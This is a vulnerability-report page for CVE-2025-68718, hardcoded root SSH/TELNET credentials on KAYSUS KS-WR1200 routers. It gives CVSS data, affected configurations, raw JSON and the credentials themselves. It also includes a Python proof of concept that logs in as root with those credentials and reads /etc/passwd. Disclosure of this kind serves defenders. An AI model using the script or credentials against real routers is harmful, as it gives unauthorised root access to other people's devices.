Security Vulnerability Report
中文
CVE-2025-68718 CVSS 5.4 MEDIUM

CVE-2025-68718

Published: 2026-01-08 21:15:44
Last Modified: 2026-02-02 16:28:36

Description

KAYSUS KS-WR1200 routers with firmware 107 expose SSH and TELNET services on the LAN interface with hardcoded root credentials (root:12345678). The administrator cannot disable these services or change the hardcoded password. (Changing the management GUI password does not affect SSH/TELNET authentication.) Any LAN-adjacent attacker can trivially log in with root privileges.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:kaysus:ks-wr1200_firmware:107:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:kaysus:ks-wr1200:-:*:*:*:*:*:*:* - NOT VULNERABLE
KAYSUS KS-WR1200 固件 107

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-68718 PoC - KAYSUS KS-WR1200 Hardcoded Root Credentials This PoC demonstrates exploitation of hardcoded SSH/TELNET credentials on KAYSUS KS-WR1200 routers. """ import socket import paramiko import sys from getpass import getpass def check_ssh_vulnerability(target_ip, username='root', password='12345678'): """ Attempt SSH connection using hardcoded credentials """ print(f"[*] Attempting SSH connection to {target_ip}...") print(f"[*] Using credentials: {username}/{password}") try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(target_ip, port=22, username=username, password=password, timeout=10) print("[+] SSH connection successful! Authenticated as root.") # Execute test command stdin, stdout, stderr = ssh.exec_command('cat /etc/passwd') print("[+] Root access confirmed - /etc/passwd contents:") print(stdout.read().decode()) ssh.close() return True except paramiko.AuthenticationException: print("[-] Authentication failed") return False except socket.timeout: print("[-] Connection timeout - SSH service may not be available") return False except Exception as e: print(f"[-] Connection error: {str(e)}") return False def check_telnet_vulnerability(target_ip, username='root', password='12345678'): """ Attempt TELNET connection using hardcoded credentials """ print(f"\n[*] Attempting TELNET connection to {target_ip}...") print(f"[*] Using credentials: {username}/{password}") try: import telnetlib tn = telnetlib.Telnet(target_ip, 23, timeout=10) # Wait for login prompt tn.read_until(b'login: ', timeout=5) tn.write(username.encode() + b'\n') # Wait for password prompt tn.read_until(b'Password: ', timeout=5) tn.write(password.encode() + b'\n') # Check for successful login result = tn.read_until(b'#', timeout=5) if b'#' in result or b'$' in result: print("[+] TELNET connection successful! Authenticated as root.") tn.write(b'id\n') print(tn.read_until(b'\n').decode()) tn.close() return True else: print("[-] Authentication failed") tn.close() return False except Exception as e: print(f"[-] TELNET error: {str(e)}") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-68718.py <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] CVE-2025-68718 PoC - KAYSUS KS-WR1200 Hardcoded Credentials\n") print(f"[*] Target: {target}\n") # Try SSH ssh_result = check_ssh_vulnerability(target) # Try TELNET telnet_result = check_telnet_vulnerability(target) if ssh_result or telnet_result: print("\n[!] VULNERABLE - Hardcoded credentials are valid!") sys.exit(0) else: print("\n[-] Target may not be vulnerable or service not available") sys.exit(1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68718", "sourceIdentifier": "[email protected]", "published": "2026-01-08T21:15:43.503", "lastModified": "2026-02-02T16:28:35.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "KAYSUS KS-WR1200 routers with firmware 107 expose SSH and TELNET services on the LAN interface with hardcoded root credentials (root:12345678). The administrator cannot disable these services or change the hardcoded password. (Changing the management GUI password does not affect SSH/TELNET authentication.) Any LAN-adjacent attacker can trivially log in with root privileges."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:kaysus:ks-wr1200_firmware:107:*:*:*:*:*:*:*", "matchCriteriaId": "B72FDAC1-020B-4E10-9131-55F17E21FA7D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:kaysus:ks-wr1200:-:*:*:*:*:*:*:*", "matchCriteriaId": "D4941C6E-D390-4FD5-B780-909C3A50DF8F"}]}]}], "references": [{"url": "https://github.com/actuator/cve/blob/main/KAYSUS/CVE-2025-68718.txt", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/actuator/cve/tree/main/KAYSUS", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.kaysus.com/ks_wr3600__wifi_7_be3600_wireless_router.html", "source": "[email protected]", "tags": ["Product"]}]}}